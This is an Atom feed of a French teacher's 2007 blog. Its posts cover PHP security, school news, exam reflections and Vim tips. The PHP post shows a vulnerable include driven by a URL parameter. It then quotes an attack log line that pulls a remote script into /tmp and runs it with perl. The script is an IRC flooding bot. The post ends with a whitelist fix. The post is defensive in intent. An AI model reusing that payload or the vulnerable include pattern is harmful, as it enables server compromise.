&lt;p&gt;&lt;br/&gt;
&lt;em&gt;Crédit photo, &lt;a href="http://bezedhashe.deviantart.com/art/Des-Moules-45886801"&gt;Single Kiev Ladies&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Sécurité PHP</title><link href="http://blog.namok.be/2007-08-31-144-securite-php.html" rel="alternate"/><published>2007-08-31T00:00:00+02:00</published><updated>2007-08-31T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2007-08-31:/2007-08-31-144-securite-php.html</id><summary type="html">Sécurité PHP</summary><content type="html">&lt;p&gt;J&amp;rsquo;ai écrit un site pour un ami et j&amp;rsquo;ai décidé de le faire en PHP. Jusque là, rien de bien particulier. Après quelques recherche, je trouve un canevas me permettant de générer diverses pages avec le même header et le même footer.
Toujours rien de particulier. &lt;/p&gt;
&lt;p&gt;L&amp;rsquo;idée c&amp;rsquo;est d&amp;rsquo;avoir des liens de la forme &lt;code&gt;index.php?p=un&lt;/code&gt; ou &lt;code&gt;index.php?p=deux&lt;/code&gt; pour accéder à la première page ou à la deuxième. J&amp;rsquo;écris donc&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;if (isset($HTTP_GET_VARS[&amp;#39;p&amp;#39;])) {&lt;/span&gt;
&lt;span class="x"&gt;    $page = $HTTP_GET_VARS[&amp;#39;p&amp;#39;];&lt;/span&gt;
&lt;span class="x"&gt;} else {&lt;/span&gt;
&lt;span class="x"&gt;    $page = &amp;#39;home&amp;#39;;&lt;/span&gt;
&lt;span class="x"&gt;}&lt;/span&gt;
&lt;span class="x"&gt;include &amp;#39;header.php&amp;#39;;&lt;/span&gt;
&lt;span class="x"&gt;include &amp;quot;$page.php&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;include &amp;#39;footer.php&amp;#39;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Et ça marche bien… jusqu&amp;rsquo;à ce qu&amp;rsquo;il y ait un malveillant qui donne comme page ni &lt;em&gt;un&lt;/em&gt; ni &lt;em&gt;deux&lt;/em&gt;, mais plutôt un truc du style&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;(extrait de log) 
/index.php?p=http://www.hotelalpino.com.br/ferias/vnc/cmd/cmd.txt?&amp;amp;cmd= cd%20/tmp; rm%20but.txt; wget%20http://eep.br/~gpereira/but.txt; fetch%20http://eep.br/~gpereira/but.txt; lwp-download%20http://eep.br/~gpereira/but.txt; curl%20-O%20http://eep.br/~gpereira/but.txt; lynx%20http://eep.br/~gpereira/but.txt; perl%20but.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Et là, c&amp;rsquo;est génial. Le gars fait télécharger sur ma machine (ou plutôt chez mon hébergeur) un script dans le répertoire &lt;code&gt;/tmp&lt;/code&gt; et l&amp;rsquo;exécute. Ce script est un bot IRC qui va gentiment se connecter à IRC et attendre les commandes de son « maitre ». Ces commandes sont du style &lt;code&gt;portscan&lt;/code&gt;, &lt;code&gt;tcpflood&lt;/code&gt;, &lt;code&gt;httpflood&lt;/code&gt;… ah le malveillant 😡&lt;/p&gt;
&lt;p&gt;Voilà, j&amp;rsquo;ai envoyé mon mail de « plainte » au site responsable de l&amp;rsquo;hébergement apparent du gars. On verra bien mais je n&amp;rsquo;ai quasi aucun espoir. J&amp;rsquo;ai également été voir sur &lt;code&gt;irc.udplink.net / #bots&lt;/code&gt; où je vois 5,6 bots appartenant au gars.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai modifié mon fichier php afin qu&amp;rsquo;il n&amp;rsquo;accepte comme paramètres uniquement les valeurs des pages qui existent (dans l&amp;rsquo;exemple un et deux).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;$pages = array(&amp;#39;home&amp;#39; =&amp;gt; &amp;#39;Home&amp;#39;,&lt;/span&gt;
&lt;span class="x"&gt;    &amp;#39;un&amp;#39; =&amp;gt; &amp;#39;La première&amp;#39;,&lt;/span&gt;
&lt;span class="x"&gt;    &amp;#39;deux&amp;#39; =&amp;gt; &amp;#39;La deuxième&amp;#39;,&lt;/span&gt;
&lt;span class="x"&gt;    );&lt;/span&gt;

&lt;span class="x"&gt;if (isset($_GET[&amp;#39;p&amp;#39;]) ) {&lt;/span&gt;
&lt;span class="x"&gt;    $page = $_GET[&amp;#39;p&amp;#39;];&lt;/span&gt;
&lt;span class="x"&gt;    // Sécurité. p ne peut valoir que les pages ci-dessus, pas de script&lt;/span&gt;
&lt;span class="x"&gt;    if ( ! array_key_exists($page,$pages) ) $page= &amp;#39;home&amp;#39; ; &lt;/span&gt;
&lt;span class="x"&gt;} else {&lt;/span&gt;
&lt;span class="x"&gt;    $page = &amp;#39;home&amp;#39;;&lt;/span&gt;
&lt;span class="x"&gt;}&lt;/span&gt;

&lt;span class="x"&gt;include &amp;#39;header.php&amp;#39;;&lt;/span&gt;
&lt;span class="x"&gt;include &amp;quot;$page.php&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;include &amp;#39;footer.php&amp;#39;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;La question qui reste sans réponse : comment faire brûler sa machine. Et surtout comment savoir qu&amp;rsquo;elle a brulé.&lt;/p&gt;</content></entry><entry><title>Il manque des informaticiens</title><link href="http://blog.namok.be/2007-08-31-143-il-manque-des-informaticiens.html" rel="alternate"/><published>2007-08-31T00:00:00+02:00</published><updated>2007-08-31T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2007-08-31:/2007-08-31-143-il-manque-des-informaticiens.html</id><summary type="html">Il manque des informaticiens</summary><content type="html">&lt;p&gt;Je lis dans &lt;a href="https://www.lalibre.be/economie/entreprises-startup/2007/06/02/il-manque-encore-14-000-informaticiens-LRMYQ2A7SJH3RG27GTOBIME5TA/"&gt;La libre du 2 juin 2007&lt;/a&gt; qu&amp;rsquo;il manque des informaticiens. On en avait déjà parlé l&amp;rsquo;an dernier et ça semble se confirmer. Ça tombe bien, je suis prof d&amp;rsquo;info ;-) … héhé, le travail est donc « assuré ».&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;En mai 2006, la fédération des entreprises technologiques Agoria tirait la sonnette d&amp;rsquo;alarme, en faisant valoir que 13 000 postes d&amp;rsquo;informaticiens ne trouvaient pas preneur dans les entreprises belges. Un an plus tard, une étude similaire indique que non seulement ce chiffre n&amp;rsquo;a pas baissé, mais qu&amp;rsquo;en plus, il a grimpé pour atteindre désormais 14 000 postes.
&lt;br/&gt;
Source : La libre, 2/6/7 &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Et comme ça fait longtemps que l&amp;rsquo;on ne l&amp;rsquo;a plus entendue, on peut la remettre au gout du jour. &lt;/p&gt;
&lt;p&gt;— Qui donc ?&lt;br&gt;
— &lt;a href="2007-06-19-135-l-esi-passe-a-la-radio.html"&gt;La pub de l&amp;rsquo;école&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;… et cette fois, je suis chanceux (si je puis dire) car j&amp;rsquo;ai pu l&amp;rsquo;entendre sur La première.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est l&amp;rsquo;occasion de souhaiter la bienvenue aux étudiants qui décideront de passer quelques années (3 seulement j&amp;rsquo;espère) dans notre école.
Afin de ne pas être surpris en débarquant chez nous (ou simplement chez moi), sachez deux trois petites choses. Comme ça. En vrac.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Vous passez du statut d&amp;rsquo;&lt;em&gt;élève&lt;/em&gt; au statut d&amp;rsquo;&lt;em&gt;étudiant&lt;/em&gt;, et ça change pas mal de choses. La principale étant que vous êtes entièrement responsable de vos études et de votre prise en charge. Nous ne vous prendrons pas (ou peu) par la main pour que vous travailliez, que vous respectiez les échéances, etc. Vous êtes acteur de votre formation (ça c&amp;rsquo;est très commercial).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Il est clair que nous répondons toujours aux questions que vous nous posez.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Des outils sont mis en place (ils diffèrent en fonction des professeurs) afin de favoriser la communication, prenez-en bonne note et utilisez-les à bon escient (lire &lt;a href="//smartq.namok.be"&gt;smartq&lt;/a&gt;). Personnellement, j&amp;rsquo;utilise:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;la communication physique (au cours, à l&amp;rsquo;intercours, dans les couloirs…);&lt;/li&gt;
&lt;li&gt;un site web pour toutes les infos relatives aux cours que je donne (avec une faq et… des screencast pour les blaireaux);&lt;/li&gt;
&lt;li&gt;IRC pour la discussion instantanée sur un chan pour l&amp;rsquo;école irc.freenode.org / #esi;&lt;/li&gt;
&lt;li&gt;le mail (toutes les adresses sont de la forme &lt;code&gt;pnom(à)heb.be&lt;/code&gt; où &lt;code&gt;p&lt;/code&gt; est la première lettre du prénom et &lt;code&gt;nom&lt;/code&gt; le nom du prof,&lt;/li&gt;
&lt;li&gt;Jabber pour la discussion instantanée privée.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vous verrez, l&amp;rsquo;ambiance est bonne au sein de l&amp;rsquo;école ou tout au moins, elle me parrait bonne dès qu&amp;rsquo;on fait abstraction des blaireaux ;-)&lt;/p&gt;</content></entry><entry><title>L'ESI passe à la radio</title><link href="http://blog.namok.be/2007-06-19-135-l-esi-passe-a-la-radio.html" rel="alternate"/><published>2007-06-19T00:00:00+02:00</published><updated>2007-06-19T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2007-06-19:/2007-06-19-135-l-esi-passe-a-la-radio.html</id><summary type="html">Spot télé et radio de l'ESI.</summary><content type="html">&lt;p&gt;L&amp;rsquo;an dernier, l&amp;rsquo;école avait décidé de faire de la pub : résultat un petit — bien plus petit que la concurrence — budget a été consacré à cet effet.&lt;/p&gt;
&lt;p&gt;Et cette année l&amp;rsquo;école décide de remettre le couvert — et c&amp;rsquo;est bien — avec en plus un spot télé.&lt;/p&gt;
&lt;div style="position:relative;padding-bottom:56.25%;height:0;overflow:hidden;"&gt; &lt;iframe style="width:100%;height:100%;position:absolute;left:0px;top:0px;overflow:hidden" frameborder="0" type="text/html" src="https://www.dailymotion.com/embed/video/x2bzv2" width="100%" height="100%" allowfullscreen title="Dailymotion Video Player" &gt; &lt;/iframe&gt; &lt;/div&gt;

&lt;p&gt;&lt;a href="https://www.dailymotion.com/video/x2bzv2"&gt;Lient dailymotion&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Il y a eu l&amp;rsquo;an dernier un passage à la radio avec un spot de quelques secondes vantant les mérites du travail d&amp;rsquo;informaticien… en les comparant à Mozart. On peut se dire que l&amp;rsquo;on n&amp;rsquo;a peur de rien. Mais bon, c&amp;rsquo;est de la pub.&lt;/p&gt;
&lt;p&gt;Il y a aussi eu une petite bannière dans le Metro. Je n&amp;rsquo;ai aucune idée de l&amp;rsquo;impact, mais j&amp;rsquo;avais eu une idée du prix. C&amp;rsquo;est cher. Depuis lors, je n&amp;rsquo;hésite plus à lire mon journal « gratuit ».&lt;/p&gt;
&lt;p&gt;&lt;audio src="/audio/ESIspotradio_20052006.mp3" controls&gt;&lt;/audio&gt;&lt;/p&gt;
&lt;p&gt;&lt;audio src="/audio/ESIspotradio_20062007.mp3" controls&gt;&lt;/audio&gt;&lt;/p&gt;</content></entry><entry><title>Évaluation versus évaluation</title><link href="http://blog.namok.be/2007-06-17-134-evaluation-versus-evaluation.html" rel="alternate"/><published>2007-06-17T00:00:00+02:00</published><updated>2007-06-17T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2007-06-17:/2007-06-17-134-evaluation-versus-evaluation.html</id><summary type="html">Évaluation versus évaluation</summary><content type="html">&lt;p&gt;&lt;em&gt;Le temps de l&amp;rsquo;évaluation est passé, voici venu le temps de l&amp;rsquo;évaluation.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Damned&lt;/em&gt; l&amp;rsquo;évaluation des étudiants est terminée, ils peuvent dire qu&amp;rsquo;ils sont en vacances même si / car ils n&amp;rsquo;ont pas encore leurs résultats. Mais pour ma part, j&amp;rsquo;aime consacrer un peu de temps à mon évaluation. J&amp;rsquo;aime prendre un peu de temps pour évaluer le travail de l&amp;rsquo;année et essayer de voir où apporter des améliorations.&lt;/p&gt;
&lt;p&gt;Et cette fin d&amp;rsquo;année scolaire est propice à ces réflexions.&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;abord quelques réflexions sur les examens.&lt;/p&gt;
&lt;h2&gt;Les examens&lt;/h2&gt;
&lt;p&gt;Cette année scolaire a été relativement riche en modification de l&amp;rsquo;organisation des examens suite au décret « Bologne ». Ce qui nous &amp;ldquo;« perturbe » c&amp;rsquo;est la mise en œuvre des diverses possibilités de remédiation d&amp;rsquo;une note. Voyons deux exemples.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Les examens de laboratoires&lt;/p&gt;
&lt;p&gt;Nous offrons maintenant (depuis peu d&amp;rsquo;années) la possibilité aux étudiants de remédier leur cote de laboratoire, représentative du travail journalier.
Jadis les étudiants qui n&amp;rsquo;avaient pas une note suffisante en laboratoire étaient simplement et brutalement refusés dès le mois de juin. Certains d&amp;rsquo;entre nous trouvions la règle un peu rude. C&amp;rsquo;est pourquoi nous essayons ce système de remédiation.&lt;/p&gt;
&lt;p&gt;Personnellement, je trouve tout à fait sain qu&amp;rsquo;un étudiant puisse (re)présenter un examen de laboratoire en Septembre pour remédier aux lacunes qu&amp;rsquo;il a eues pendant l&amp;rsquo;année. J&amp;rsquo;imagine qu&amp;rsquo;il a mis à profit une partie de la période de congé pour se mettre à jour.&lt;/p&gt;
&lt;p&gt;Je suis par contre beaucoup plus dubitatif pour l&amp;rsquo;examen de laboratoire de Juin. En effet, cet examen donne l&amp;rsquo;occasion de remédier la note de laboratoire mais sans aucun recul. Comment un étudiant n&amp;rsquo;ayant pas les acquis fin mai peu les avoir début juin ? Pour moi la période est trop courte.&lt;/p&gt;
&lt;p&gt;Observons quelques instants les faits.&lt;br&gt;
Cette année 4 étudiants ont décidés de remédier leur cote de laboratoire &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;… 3 étudiants ont fait une cote de présence (GRR) et l&amp;rsquo;autre a échoué. Cette situation est quasi la même chez mes collègues tant pour les laboratoires LMI que LAJ.&lt;/p&gt;
&lt;p&gt;Je doute donc beaucoup de l&amp;rsquo;utilité d&amp;rsquo;un tel examen en juin (je me permets d&amp;rsquo;insister pour les décideurs pressés ne lisant qu&amp;rsquo;une ligne sur deux).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;L&amp;rsquo;examen de langage Java&lt;/p&gt;
&lt;p&gt;Pour l&amp;rsquo;examen de langage Java (LGJ), c&amp;rsquo;est sur l&amp;rsquo;interro de Java que se porte ma réflexion (je redis ici que mon avis n&amp;rsquo;est pas encore tranché sur le sujet).&lt;/p&gt;
&lt;p&gt;Nous organisons une interrogation écrite en janvier sur la première partie du cours et un examen oral en juin sur la totalité du cours — étant donné la matière il est inopportun de scinder le cours et de ne plus interroger sur le début du cours lors de l&amp;rsquo;évaluation finale.&lt;/p&gt;
&lt;p&gt;Le soucis — principalement organisationnel — est que les étudiants qui ont raté l&amp;rsquo;interro de janvier doivent pouvoir y remédier en juin. C&amp;rsquo;est très lourd à organiser. Le plus simple serait d&amp;rsquo;organiser le même examen oral pour tous en juin et pondérer différemment suivant la cote de janvier.
Le soucis cette fois, c&amp;rsquo;est que dans ce cas on défavorise l&amp;rsquo;étudiant ayant obtenu difficilement 10/20 en janvier par rapport à celui ayant obtenu 9/20. S&amp;rsquo;ils font tous les deux un bon examen oral, le second aura une meilleur note finale que le premier. Ce qui ne nous semble pas logique. Alors quid ?&lt;/p&gt;
&lt;p&gt;À ce stade, je suis partisan de supprimer l&amp;rsquo;interro de janvier et d&amp;rsquo;interroger en juin. Une fois. Un oral. Sur tout. Mais dans ce cas, nous encadrons moins les étudiants car nous ne les encourageons pas à étudier dès janvier.&lt;/p&gt;
&lt;p&gt;À nouveau, je reste dubitatif.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;L&amp;rsquo;évaluation des cours&lt;/h2&gt;
&lt;p&gt;J&amp;rsquo;ai reçu quelques formulaires d&amp;rsquo;évaluation de cours et quelques échos oraux ou écrits.&lt;/p&gt;
&lt;p&gt;Je n&amp;rsquo;ai rien de particulier à dire sur les cours de première (MIC1, LMI1, LGJ1, LAJ1) mais peut-être sur ceux de deuxième.
C&amp;rsquo;est la première année que je donne le cours d&amp;rsquo;ateliers logiciels (ALG2ir) et je voudrais revoir ça pour l&amp;rsquo;an prochain. Non pas au sujet du contenu — il me convient parfaitement — mais au sujet de la forme. J&amp;rsquo;ai une fâcheuse tendance à croire que l&amp;rsquo;étudiant en sait plus que je ne pense (me sousestimerais-je ?). &lt;/p&gt;
&lt;p&gt;Par exemple pour SWING, je m&amp;rsquo;imagine que la majorité des étudiants a déjà essayé de jouer avec la bibliothèque et j&amp;rsquo;ai alors tendance à m&amp;rsquo;imaginer plein d&amp;rsquo;acquis qui ne le sont pas. Je tâcherai d&amp;rsquo;y prendre garde l&amp;rsquo;an prochain. En échange je ré-insiste sur le fait de ne pas rester amorphe sinon je suis incapable de voir si l&amp;rsquo;étudiant percute ou pas.&lt;/p&gt;
&lt;p&gt;Mis à part ça, je n&amp;rsquo;ai pour l&amp;rsquo;instant pas de remarque particulière à relever &amp;hellip; il semblerait donc que tout roule.&lt;/p&gt;
&lt;h2&gt;Coté pratique,&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;on me suggère des rideaux dans certains locaux. C&amp;rsquo;est exact que ce ne serait pas un luxe de pouvoir voir correctement son écran lorsqu&amp;rsquo;il y a du soleil. Je transmettrai au conseil de département.&lt;/li&gt;
&lt;li&gt;on suggère — plusieurs fois d&amp;rsquo;ailleurs — des valves électroniques.
    Pour ça je peux répondre que le directeur est contre l&amp;rsquo;idée de maintenir à jour deux sources d&amp;rsquo;informations (les valves et les &lt;em&gt;e-valves&lt;/em&gt;). Il justifie sa réponse par le fait que « des » étudiants malveillants pourraient jouer sur la mauvaise synchronisation des valves, problèmes techniques ou autres &amp;hellip; pour prétendre ne pas être informés en temps et en heure.&lt;br&gt;
    Patience donc, ce n&amp;rsquo;est pas pour tout de suite. Si un étudiant a une webcam en trop, il peut peut-être faire quelque chose.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sur ce bonnes vacances à tous.&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je grogne souvent lorsque l&amp;rsquo;on fait une cote de présence au deuxième passage de laboratoire. En effet, chaque étudiant à l&amp;rsquo;opportunité (au premier passage) de dire s&amp;rsquo;il accepte sa cote (échec ou pas) ou s&amp;rsquo;il veut la remettre en jeu. Je comprend alors mal que quelques jours plus tard l&amp;rsquo;étudiant change d&amp;rsquo;avis et vienne faire une cote de présence… mais bon.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Dis tu veux faire mon boulot ?</title><link href="http://blog.namok.be/2007-06-06-133-dis-tu-veux-faire-mon-boulot.html" rel="alternate"/><published>2007-06-06T00:00:00+02:00</published><updated>2007-06-06T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2007-06-06:/2007-06-06-133-dis-tu-veux-faire-mon-boulot.html</id><summary type="html">Dis tu veux faire mon boulot ?</summary><content type="html">&lt;p&gt;Ce n&amp;rsquo;est pas la première fois que je reçois des mails d&amp;rsquo;étrangers. Entendez des gens extérieurs à l&amp;rsquo;établissement dans lequel je travaille.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Soit c&amp;rsquo;est pour mes problèmes de pénis, mais c&amp;rsquo;est assez rare ces mails allant directement à la poubelle (merci Gmail);&lt;/li&gt;
&lt;li&gt;soit c&amp;rsquo;est pour me donner des pistes quand à l&amp;rsquo;évolution de mes notes de cours ou où les trouver;&lt;/li&gt;
&lt;li&gt;soit pour me demander une explication ponctuelle, voire plus.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;C&amp;rsquo;est justement de ce &lt;em&gt;voire plus&lt;/em&gt; dont je vais parler. En fait c&amp;rsquo;est assez, drôle, j&amp;rsquo;ai reçu le mail d&amp;rsquo;un gars qui voudrait que je fasse un boulot pour lui. D&amp;rsquo;accord, il ne l&amp;rsquo;a pas dit comme ça mais…&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;From: Edison Joseph&lt;br&gt;
Subject: Etudiant en Informatique d&amp;rsquo;Haiti&lt;br&gt;
To: (4 profs de l&amp;rsquo;école)&lt;br&gt;
Date: Mon, 4 Jun 2007 16:46:56 -0500&lt;br&gt;
Salut a Vous,  &lt;/p&gt;
&lt;p&gt;Je suis Joseph Edison , etudiant en Informatique en 2eme Annee a l&amp;rsquo;Ecole   Superieure d&amp;rsquo;Infotronique d&amp;rsquo;Haiti (www.esih.edu). Je viens recemment de decouvrir votre article concernant la programmation en Assembleur et je me suis dit pourquoi ne pas essayer de vous demander un peu d&amp;rsquo;aide a propos d&amp;rsquo;un programme que je dois realiser dans le cadre d&amp;rsquo;un semi projet.&lt;/p&gt;
&lt;p&gt;Voici le sujet:&lt;br&gt;
Ecrire un programme en assembleur permettant de resoudre une expression :&lt;br&gt;
a) Postfixee&lt;br&gt;
b) Prefixee  &lt;/p&gt;
&lt;p&gt;Cahier de charge&lt;br&gt;
1) Le programme doit avoir un menu dans lequel l&amp;rsquo;utilisateur aura les choix   suivants
1 Postfixee&lt;br&gt;
2 Prefixee&lt;br&gt;
3 Quitter  &lt;/p&gt;
&lt;p&gt;2) On ne peut quitter le programme que lorsqu&amp;rsquo;on fait choix de 3&lt;br&gt;
3) Les expressions doivent etre inserees par l&amp;rsquo;utilisteur&lt;br&gt;
4) Si l&amp;rsquo;expression est une expression postfixee et que l&amp;rsquo;utilisateur fait le   choix de prefixee le programme doit afficher un message et vice versa.
5) Si l&amp;rsquo;expression contient un caractere qui n&amp;rsquo;est ni chiffre, ni operateur   le programme doit aussi afficher un message
6) Le resultat doit etre affiche en decimal, binaire et hexadecimal.  &lt;/p&gt;
&lt;p&gt;Je vous serai tres gre, si vous m&amp;rsquo;aidiez a faire ce devoir. Sincerement   votre, Edison 
&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Que pensez-vous que je doive faire ? Écrire le code et lui envoyer la solution ?&lt;/p&gt;</content></entry><entry><title>Vim, sa statusbar et les noms de fichier</title><link href="http://blog.namok.be/2007-05-16-vim-et-sa-statusbar.html" rel="alternate"/><published>2007-05-16T00:00:00+02:00</published><updated>2007-05-16T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2007-05-16:/2007-05-16-vim-et-sa-statusbar.html</id><summary type="html">Vim, sa statusbar et les noms de fichier</summary><content type="html">&lt;p&gt;&lt;a href="//vim.org/"&gt;Vim&lt;/a&gt; possède une &lt;em&gt;statusline&lt;/em&gt; (barre de statut), dans laquelle on peut placer toute une série d&amp;rsquo;informations. Personnellement, je voulais voir — quelquepart — le nom du fichier édité. Et bien ce sera dans cette &lt;em&gt;statusline&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Je voulais aussi pouvoir récupérer le nom du fichier édité afin de l&amp;rsquo;inclure dans des abréviations, c&amp;rsquo;est chose faite aussi.&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;abord merci à &lt;em&gt;gabrielsl&lt;/em&gt; sur freenode / #linuxfr qui m&amp;rsquo;a donné le bon mot clé sur lequel baser ma recherche et le blog de Dimitri (lien mort) — que je ne connais ni d&amp;rsquo;Ève ni d&amp;rsquo;Adam — qui m&amp;rsquo;a montré l&amp;rsquo;un ou l&amp;rsquo;autre exemple.&lt;/p&gt;
&lt;h2&gt;La barre de status (&lt;em&gt;statusline&lt;/em&gt;)&lt;/h2&gt;
&lt;p&gt;Il me suffit d&amp;rsquo;ajouter les lignes suivantes à mon fichier &lt;code&gt;~/.vimrc&lt;/code&gt; afin d&amp;rsquo;activer cette ligne d&amp;rsquo;état tout le temps (par défaut elle n&amp;rsquo;est active que lorsque vim ouvre plusieurs fenêtres (&lt;em&gt;split&lt;/em&gt;)) et d&amp;rsquo;y faire afficher ce que je veux.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;laststatus&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;statusline&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;%a&lt;span class="se"&gt;\ &lt;/span&gt;%F%1*%m%*%10&lt;span class="o"&gt;{&lt;/span&gt;getfsize&lt;span class="o"&gt;(&lt;/span&gt;expand&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;%&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;))}&lt;/span&gt;o
highlight&lt;span class="w"&gt; &lt;/span&gt;StatusLine&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;term&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;bold&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;cterm&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;bold&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ctermbg&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Extraits de la doc française:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;a&lt;/strong&gt; Position dans la liste des arguments comme dans le titre par défaut &lt;code&gt;("{courant} of {max}")&lt;/code&gt;. Vide si le nombre d&amp;rsquo;arguments de fichiers vaut 0 ou 1.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;F&lt;/strong&gt; Chemin absolu du fichier dans le tampon.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;m&lt;/strong&gt; Drapeau « modifié », le texte vaut &lt;code&gt;[+]&lt;/code&gt; ou &lt;code&gt;[-]&lt;/code&gt; si &lt;em&gt;modifiable&lt;/em&gt; est désactivé.
-&lt;strong&gt;getsize(expand(%))&lt;/strong&gt; permet d&amp;rsquo;avoir la taille du fichier. Lequel ? Celui interprété par &lt;code&gt;%&lt;/code&gt;. Cette fonction retourne &lt;code&gt;-1&lt;/code&gt; si le fichier n&amp;rsquo;existe pas.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Le nom de fichier&lt;/h2&gt;
&lt;p&gt;Le &lt;code&gt;%&lt;/code&gt; vu plus haut m&amp;rsquo;a mis la puce à l&amp;rsquo;oreille , j&amp;rsquo;essaie donc un &lt;code&gt;r! echo %&lt;/code&gt; et je vois apparaitre le nom du fichier édité. Yes, je vais pouvoir modifier l&amp;rsquo;une de mes abréviations. En effet, j&amp;rsquo;aime utiliser &lt;code&gt;_class&lt;/code&gt; lorsque je code en Java afin que vim écrive tout seul, &lt;code&gt;public class {&lt;/code&gt;. Si vous êtes attentif, vous remarquez l&amp;rsquo;absence du nom de la classe. Comme le nom de la classe correspond au nom du fichier, je peux écrire ceci : &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;abbr _class public class :r!echo %:r&amp;lt;cr&amp;gt;&amp;lt;up&amp;gt;A&amp;lt;del&amp;gt;&amp;lt;end&amp;gt; { &amp;lt;cr&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Mon fichier &lt;code&gt;.vimrc&lt;/code&gt; se trouve dans &lt;a href="//github.com/Pinkilla/dotfiles"&gt;ce dépôt&lt;/a&gt;.&lt;/p&gt;</content></entry><entry><title>Convertir un .doc en pdf pour les blaireaux</title><link href="http://blog.namok.be/2007-04-11-convertir-un-doc-en-pdf-pour-les-blaireaux.html" rel="alternate"/><published>2007-04-11T00:00:00+02:00</published><updated>2007-04-11T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2007-04-11:/2007-04-11-convertir-un-doc-en-pdf-pour-les-blaireaux.html</id><summary type="html">Série « pour les blaireaux » : je convertis un .doc en PDF</summary><content type="html">&lt;p&gt;&lt;img alt="Image illustrative" src="/images/the_prisoned_ball_by_ReginaldBull.jpg" width="100%"&gt;&lt;/p&gt;
